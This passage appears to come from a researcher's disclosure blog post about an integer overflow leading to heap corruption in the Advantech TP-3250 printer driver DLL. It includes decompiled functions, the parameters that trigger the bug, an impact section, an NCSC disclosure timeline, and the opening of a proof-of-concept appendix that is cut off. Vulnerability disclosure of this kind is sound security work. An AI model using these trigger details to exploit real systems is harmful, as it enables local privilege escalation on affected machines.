<span class="n">ulonglong</span> <span class="nf">FUN_180015554</span><span class="p">(</span><span class="n">longlong</span> <span class="n">param_1</span><span class="p">,</span><span class="n">longlong</span> <span class="n">param_2</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">param_3</span><span class="p">,</span><span class="n">longlong</span> <span class="n">param_4</span><span class="p">,</span>
                       <span class="n">uint</span> <span class="o">*</span><span class="n">param_5</span><span class="p">,</span><span class="n">uint</span> <span class="o">*</span><span class="n">param_6</span><span class="p">)</span>

<span class="p">{</span>
  <span class="p">...</span>
  <span class="k">if</span> <span class="p">((((</span><span class="n">param_2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">param_4</span> <span class="o">==</span> <span class="mi">0</span><span class="p">))</span> <span class="o">||</span> <span class="p">(</span><span class="n">param_5</span> <span class="o">==</span> <span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">))</span> <span class="o">||</span>
     <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
    <span class="p">...</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">local_438</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">local_434</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mh">0x3fc</span><span class="p">);</span>
    <span class="n">uVar3</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x24</span><span class="p">);</span>
    <span class="n">uStack_454</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">local_458</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">local_res8</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">CONCAT44</span><span class="p">(</span><span class="n">local_res8</span><span class="p">.</span><span class="n">_4_4_</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">));</span>
    <span class="n">local_res10</span> <span class="o">=</span> <span class="n">uVar3</span><span class="p">;</span>
    <span class="n">iVar2</span> <span class="o">=</span> <span class="n">XLATEOBJ_cGetPalette</span><span class="p">(</span><span class="n">param_4</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_4</span> <span class="o">+</span> <span class="mh">0xc</span><span class="p">),</span><span class="o">&amp;</span><span class="n">local_438</span><span class="p">);</span>
    <span class="n">uVar1</span> <span class="o">=</span> <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">local_res8</span><span class="p">;</span>
    <span class="n">local_res8</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">FUN_1800177b8</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">longlong</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">),</span><span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">),</span>
                                       <span class="p">(</span><span class="n">longlong</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_438</span><span class="p">,</span><span class="n">iVar2</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x48</span><span class="p">),</span>
                                       <span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">local_res8</span><span class="p">,</span><span class="n">uVar3</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="kt">float</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar5</span> <span class="o">+</span> <span class="mi">300</span><span class="p">),</span>
                                       <span class="o">*</span><span class="p">(</span><span class="kt">float</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x130</span><span class="p">));</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">local_res8</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">uVar6</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">_Memory</span> <span class="o">=</span> <span class="n">FUN_18001817c</span><span class="p">((</span><span class="n">longlong</span><span class="p">)</span><span class="n">local_res8</span><span class="p">,(</span><span class="n">ulonglong</span><span class="p">)((</span><span class="n">uVar1</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">*</span> <span class="n">uVar3</span> <span class="o">*</span> <span class="mi">4</span><span class="p">),</span><span class="n">uVar1</span><span class="p">,</span>
                              <span class="n">uVar3</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar5</span> <span class="o">+</span> <span class="mh">0x128</span><span class="p">));</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">_Memory</span> <span class="o">!=</span> <span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">uStack_454</span> <span class="o">=</span> <span class="n">local_res10</span><span class="p">;</span>
        <span class="n">local_458</span> <span class="o">=</span> <span class="n">uVar1</span><span class="p">;</span>
        <span class="n">lVar4</span> <span class="o">=</span> <span class="n">EngCreateBitmap</span><span class="p">(</span><span class="n">CONCAT44</span><span class="p">(</span><span class="n">local_res10</span><span class="p">,</span><span class="n">uVar1</span><span class="p">),(</span><span class="n">uVar1</span> <span class="o">+</span> <span class="mh">0x1f</span> <span class="o">&amp;</span> <span class="mh">0xffffffe0</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span>
                                <span class="n">_Memory</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">lVar4</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">iVar2</span> <span class="o">=</span> <span class="n">EngAssociateSurface</span><span class="p">(</span><span class="n">lVar4</span><span class="p">,</span><span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar5</span> <span class="o">+</span> <span class="mi">8</span><span class="p">),</span><span class="mi">0</span><span class="p">);</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">lVar5</span> <span class="o">=</span> <span class="n">EngLockSurface</span><span class="p">(</span><span class="n">lVar4</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">lVar5</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
              <span class="n">uVar3</span> <span class="o">=</span> <span class="n">EngCopyBits</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">lVar5</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">param_5</span><span class="p">,</span><span class="n">param_6</span><span class="p">);</span>
              <span class="n">uVar6</span> <span class="o">=</span> <span class="p">(</span><span class="n">ulonglong</span><span class="p">)</span><span class="n">uVar3</span><span class="p">;</span>
              <span class="n">EngUnlockSurface</span><span class="p">(</span><span class="n">lVar5</span><span class="p">);</span>
            <span class="p">}</span>
          <span class="p">}</span>
          <span class="n">EngDeleteSurface</span><span class="p">(</span><span class="n">lVar4</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="n">free</span><span class="p">(</span><span class="n">_Memory</span><span class="p">);</span>
      <span class="p">}</span>
      <span class="n">free</span><span class="p">(</span><span class="n">local_res8</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">uVar6</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The whole purpose of this function is to wrap around all the other functions
that we call, this takes a lot of params that I have figured out from the rest
of the code are:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(PVOID)ctx,       // psoTrg (destination surface)
(PVOID)surf1,     // psoSrc (source surface)
NULL,             // pco null for no clipping..
(PVOID)surf2,     // pxlo (color translation - must be non-NULL)
&amp;dst_rect,        // prclTrg (destination rectangle)
&amp;src_point        // pptlSrc
</code></pre></div></div>
<p>In our PoC the params mean that this if statement is false: <code class="language-plaintext highlighter-rouge">if ((((param_2 == 0) || (param_4 == 0)) || (param_5 == (uint *)0x0)) || (*(int *)(lVar5 + 0x128) == 1))</code>
So we hit the path that then calls FUN_1800177b8 which is where the fun happens, well in the inner calls is where the fun is:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kt">void</span> <span class="nf">FUN_1800177b8</span><span class="p">(</span><span class="n">longlong</span> <span class="n">param_1</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_2</span><span class="p">,</span><span class="n">longlong</span> <span class="n">param_3</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_4</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_5</span><span class="p">,</span>
                  <span class="kt">int</span> <span class="n">param_6</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_7</span><span class="p">,</span><span class="kt">float</span> <span class="n">param_8</span><span class="p">,</span><span class="kt">float</span> <span class="n">param_9</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">uVar8</span> <span class="o">=</span> <span class="p">((</span><span class="kt">int</span><span class="p">)((</span><span class="n">param_6</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">&gt;&gt;</span> <span class="mh">0x1f</span> <span class="o">&amp;</span> <span class="mi">3U</span><span class="p">)</span> <span class="o">+</span> <span class="n">param_6</span> <span class="o">+</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span><span class="p">;</span>
  <span class="p">...</span>
  <span class="n">_Dst</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">((</span><span class="n">ulonglong</span><span class="p">)(</span><span class="n">uVar8</span> <span class="o">*</span> <span class="n">param_7</span><span class="p">));</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">_Dst</span> <span class="o">!=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">_Dst</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,(</span><span class="n">ulonglong</span><span class="p">)(</span><span class="n">uVar8</span> <span class="o">*</span> <span class="n">param_7</span><span class="p">));</span>
    <span class="c1">// ... pack pixels into 1-bpp, advancing one row by uVar8 each iteration this is just a bunch of if / elif</span>
  <span class="n">FUN_180023520</span><span class="p">(</span><span class="n">local_68</span> <span class="o">^</span> <span class="p">(</span><span class="n">ulonglong</span><span class="p">)</span><span class="n">auStack_198</span><span class="p">);</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now, sure most of this function has been removed, but it is those first two
lines in this snippet that are the real clincher here. That <code class="language-plaintext highlighter-rouge">uVar8 * param_7</code>
is where we are doing the product of 2 32bit vars and then widened to 64bit,
this carrys the risk of under allocation. The multiplication overflows in
32-bit space before being widened to 64-bit.Example: <code class="language-plaintext highlighter-rouge">0x10000 * 0x10000 =
0x100000000</code>, but in 32 bit = <code class="language-plaintext highlighter-rouge">0x0</code> That undersized buffer is then initialized here:
<code class="language-plaintext highlighter-rouge">memset(_Dst,0xff,(ulonglong)(uVar8 * param_7));</code></p>

<p>Now that we have that initalized we can move back to the wrapper function were <code class="language-plaintext highlighter-rouge">FUN_18001817c</code> is called</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">byte</span> <span class="o">*</span> <span class="nf">FUN_18001817c</span><span class="p">(</span><span class="n">longlong</span> <span class="n">param_1</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">param_2</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_3</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_4</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_5</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
  <span class="n">byte</span> <span class="o">*</span><span class="n">_Dst</span><span class="p">;</span>
  <span class="kt">size_t</span> <span class="n">_Size</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">in_stack_ffffffffffffffc4</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">in_stack_ffffffffffffffcc</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_28</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_24</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_20</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_1c</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_18</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_14</span><span class="p">;</span>

  <span class="n">uVar1</span> <span class="o">=</span> <span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x1f</span> <span class="o">+</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">+</span> <span class="mh">0x1f</span> <span class="o">&gt;&gt;</span> <span class="mh">0x1f</span> <span class="o">&amp;</span> <span class="mh">0x1fU</span><span class="p">);</span>
  <span class="n">_Size</span> <span class="o">=</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)(</span><span class="kt">int</span><span class="p">)(((</span><span class="kt">int</span><span class="p">)((</span><span class="n">uVar1</span> <span class="o">&amp;</span> <span class="mh">0xffffffe0</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">uVar1</span> <span class="o">&gt;&gt;</span> <span class="mh">0x1f</span> <span class="o">&amp;</span> <span class="mi">7U</span><span class="p">))</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">*</span> <span class="n">param_4</span><span class="p">);</span>
  <span class="n">_Dst</span> <span class="o">=</span> <span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">_Size</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">_Dst</span> <span class="o">!=</span> <span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">_Dst</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="n">_Size</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">param_5</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">FUN_1800212a8</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="n">param_4</span><span class="p">,</span><span class="n">_Dst</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">param_5</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">FUN_1800215d8</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="n">param_4</span><span class="p">,</span><span class="n">_Dst</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">param_5</span> <span class="o">==</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">local_28</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="n">local_24</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="n">local_14</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="n">local_1c</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
      <span class="n">local_18</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
      <span class="n">local_20</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
      <span class="n">FUN_180021908</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="n">param_4</span><span class="p">,(</span><span class="n">longlong</span><span class="p">)</span><span class="n">_Dst</span><span class="p">,(</span><span class="n">longlong</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_28</span><span class="p">,</span>
                    <span class="n">CONCAT44</span><span class="p">(</span><span class="n">in_stack_ffffffffffffffc4</span><span class="p">,</span><span class="mi">2</span><span class="p">),</span><span class="n">CONCAT44</span><span class="p">(</span><span class="n">in_stack_ffffffffffffffcc</span><span class="p">,</span><span class="mi">3</span><span class="p">),</span><span class="mi">4</span><span class="p">.</span><span class="mi">0</span><span class="p">)</span>
      <span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">FUN_180021c08</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="n">param_4</span><span class="p">,</span><span class="n">_Dst</span><span class="p">);</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">_Dst</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>This function receives the undersized buffer from <code class="language-plaintext highlighter-rouge">FUN_1800177b8</code> as <code class="language-plaintext highlighter-rouge">param_1</code>,
but calculates its own buffer size using a different formula. It then allocates
<code class="language-plaintext highlighter-rouge">_Dst</code> and calls <code class="language-plaintext highlighter-rouge">FUN_180021c08</code> (the overflow sink from our call path).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="kt">void</span> <span class="nf">FUN_180021c08</span><span class="p">(</span><span class="n">longlong</span> <span class="n">param_1</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_2</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_3</span><span class="p">,</span><span class="n">byte</span> <span class="o">*</span><span class="n">param_4</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
  <span class="n">longlong</span> <span class="n">lVar2</span><span class="p">;</span>
  <span class="n">ulonglong</span> <span class="n">uVar3</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar4</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar5</span><span class="p">;</span>
  <span class="n">byte</span> <span class="o">*</span><span class="n">pbVar6</span><span class="p">;</span>

  <span class="n">uVar1</span> <span class="o">=</span> <span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x1f</span> <span class="o">+</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x1f</span> <span class="o">&gt;&gt;</span> <span class="mh">0x1f</span> <span class="o">&amp;</span> <span class="mh">0x1fU</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">param_3</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">lVar2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">uVar3</span> <span class="o">=</span> <span class="p">(</span><span class="n">ulonglong</span><span class="p">)</span><span class="n">param_3</span><span class="p">;</span>
    <span class="k">do</span> <span class="p">{</span>
      <span class="n">iVar5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
      <span class="n">pbVar6</span> <span class="o">=</span> <span class="n">param_4</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">&lt;</span> <span class="n">param_2</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">do</span> <span class="p">{</span>
          <span class="o">*</span><span class="n">pbVar6</span> <span class="o">=</span> <span class="o">*</span><span class="n">pbVar6</span> <span class="o">|</span> <span class="o">-</span><span class="p">(</span><span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)(</span><span class="n">iVar5</span> <span class="o">+</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="n">param_1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0x80U</span><span class="p">;</span>
          <span class="o">*</span><span class="n">pbVar6</span> <span class="o">=</span> <span class="o">*</span><span class="n">pbVar6</span> <span class="o">|</span> <span class="o">-</span><span class="p">(</span><span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="n">iVar5</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="n">param_1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0x40U</span><span class="p">;</span>
          <span class="o">*</span><span class="n">pbVar6</span> <span class="o">=</span> <span class="o">*</span><span class="n">pbVar6</span> <span class="o">|</span> <span class="o">-</span><span class="p">(</span><span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="n">iVar5</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="n">param_1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0x20U</span><span class="p">;</span>
          <span class="o">*</span><span class="n">pbVar6</span> <span class="o">=</span> <span class="o">*</span><span class="n">pbVar6</span> <span class="o">|</span> <span class="o">-</span><span class="p">(</span><span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="n">iVar5</span> <span class="o">+</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="n">param_1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0x10U</span><span class="p">;</span>
          <span class="o">*</span><span class="n">pbVar6</span> <span class="o">=</span> <span class="o">*</span><span class="n">pbVar6</span> <span class="o">|</span> <span class="o">-</span><span class="p">(</span><span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="n">iVar5</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="n">param_1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mi">8U</span><span class="p">;</span>
          <span class="o">*</span><span class="n">pbVar6</span> <span class="o">=</span> <span class="o">*</span><span class="n">pbVar6</span> <span class="o">|</span> <span class="o">-</span><span class="p">(</span><span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="n">iVar5</span> <span class="o">+</span> <span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="n">param_1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mi">4U</span><span class="p">;</span>
          <span class="n">iVar4</span> <span class="o">=</span> <span class="n">iVar5</span> <span class="o">+</span> <span class="mi">7</span><span class="p">;</span>
          <span class="o">*</span><span class="n">pbVar6</span> <span class="o">=</span> <span class="o">*</span><span class="n">pbVar6</span> <span class="o">|</span> <span class="o">-</span><span class="p">(</span><span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="n">iVar5</span> <span class="o">+</span> <span class="mi">6</span><span class="p">)</span> <span class="o">+</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="n">param_1</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mi">2U</span><span class="p">;</span>
          <span class="n">iVar5</span> <span class="o">=</span> <span class="n">iVar5</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>
          <span class="o">*</span><span class="n">pbVar6</span> <span class="o">=</span> <span class="o">*</span><span class="n">pbVar6</span> <span class="o">|</span> <span class="mh">0x7f</span> <span class="o">&lt;</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)(</span><span class="n">iVar4</span> <span class="o">+</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="n">param_1</span><span class="p">);</span>
          <span class="n">pbVar6</span> <span class="o">=</span> <span class="n">pbVar6</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">iVar5</span> <span class="o">&lt;</span> <span class="n">param_2</span><span class="p">);</span>
      <span class="p">}</span>
      <span class="n">param_4</span> <span class="o">=</span> <span class="n">param_4</span> <span class="o">+</span> <span class="p">((</span><span class="kt">int</span><span class="p">)((</span><span class="n">uVar1</span> <span class="o">&amp;</span> <span class="mh">0xffffffe0</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">uVar1</span> <span class="o">&gt;&gt;</span> <span class="mh">0x1f</span> <span class="o">&amp;</span> <span class="mi">7U</span><span class="p">))</span> <span class="o">&gt;&gt;</span> <span class="mi">3</span><span class="p">);</span>
      <span class="n">lVar2</span> <span class="o">=</span> <span class="n">lVar2</span> <span class="o">+</span> <span class="p">(((</span><span class="kt">int</span><span class="p">)((</span><span class="n">param_2</span> <span class="o">+</span> <span class="mi">3</span> <span class="o">&gt;&gt;</span> <span class="mh">0x1f</span> <span class="o">&amp;</span> <span class="mi">3U</span><span class="p">)</span> <span class="o">+</span> <span class="n">param_2</span> <span class="o">+</span> <span class="mi">3</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span><span class="p">);</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="n">uVar3</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">uVar3</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The vulnerability chain is:</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">FUN_1800177b8</code> allocates buffer using <code class="language-plaintext highlighter-rouge">uVar8 * param_7</code> (32-bit overflow → too small)</li>
  <li><code class="language-plaintext highlighter-rouge">FUN_18001817c</code> receives this buffer and calculates a CORRECT size for the output</li>
  <li><code class="language-plaintext highlighter-rouge">FUN_180021c08</code> reads from the undersized input buffer and writes to the output</li>
  <li>When the packer function tries to read height × stride bytes from the undersized
source buffer, it reads beyond the allocation → heap corruption</li>
</ol>

<h3 id="impact">Impact</h3>

<p>This vulnerability represents a serious local privilege escalation risk for systems with the Advantech TP-3250 printer driver installed. The key impacts include:</p>

<p><strong>Heap Corruption and Code Execution</strong></p>

<p>The 32 bit integer overflow leads to a controllable heap corruption condition.
An attacker who can trigger this bug gains the ability to corrupt heap metadata
and adjacent allocations. With smarter techniques than what I have done this
corruption can be leveraged to achieve arbitrary code execution.</p>

<p><strong>Low user level rights needed</strong></p>

<p>Unlike many printer driver vulnerabilities, this bug does not require:</p>
<ul>
  <li>Admin privileges</li>
  <li>Print spooler service access</li>
  <li>Network connectivity</li>
  <li>User interaction</li>
</ul>

<p>Any local user with the ability to load the <code class="language-plaintext highlighter-rouge">DrvRender_x64_ADVANTECH.dll</code>
library can trigger this vulnerability. The attack surface is significantly
larger than typical spooler-based printer exploits. This is also widened since
the dll is also placed in the path: <code class="language-plaintext highlighter-rouge">C://Advantech/</code></p>

<p><strong>Privilege Escalation Vector</strong></p>

<p>Because printer drivers on Windows often run with elevated privileges or in security-sensitive contexts, successful exploitation could allow:</p>
<ul>
  <li>A low-privileged user to gain SYSTEM privileges</li>
  <li>Escape from application sandboxes</li>
  <li>Bypass security boundaries in enterprise environments</li>
</ul>

<h2 id="timeline">Timeline</h2>

<ul>
  <li>Tue, Jul 29 2025: Bug discovered and reported to NCSC</li>
  <li>Fri, Aug 1 2025: Response from NCSC</li>
  <li>Wed, Aug 13 2025: NCSC reported bug to vendor</li>
  <li>Mon, Oct 6 2025: NCSC informed me that the disclosure period has ended and I am free to post about this.</li>
</ul>

<h2 id="appendix">Appendix:</h2>

<h3 id="a---poc">A - POC</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
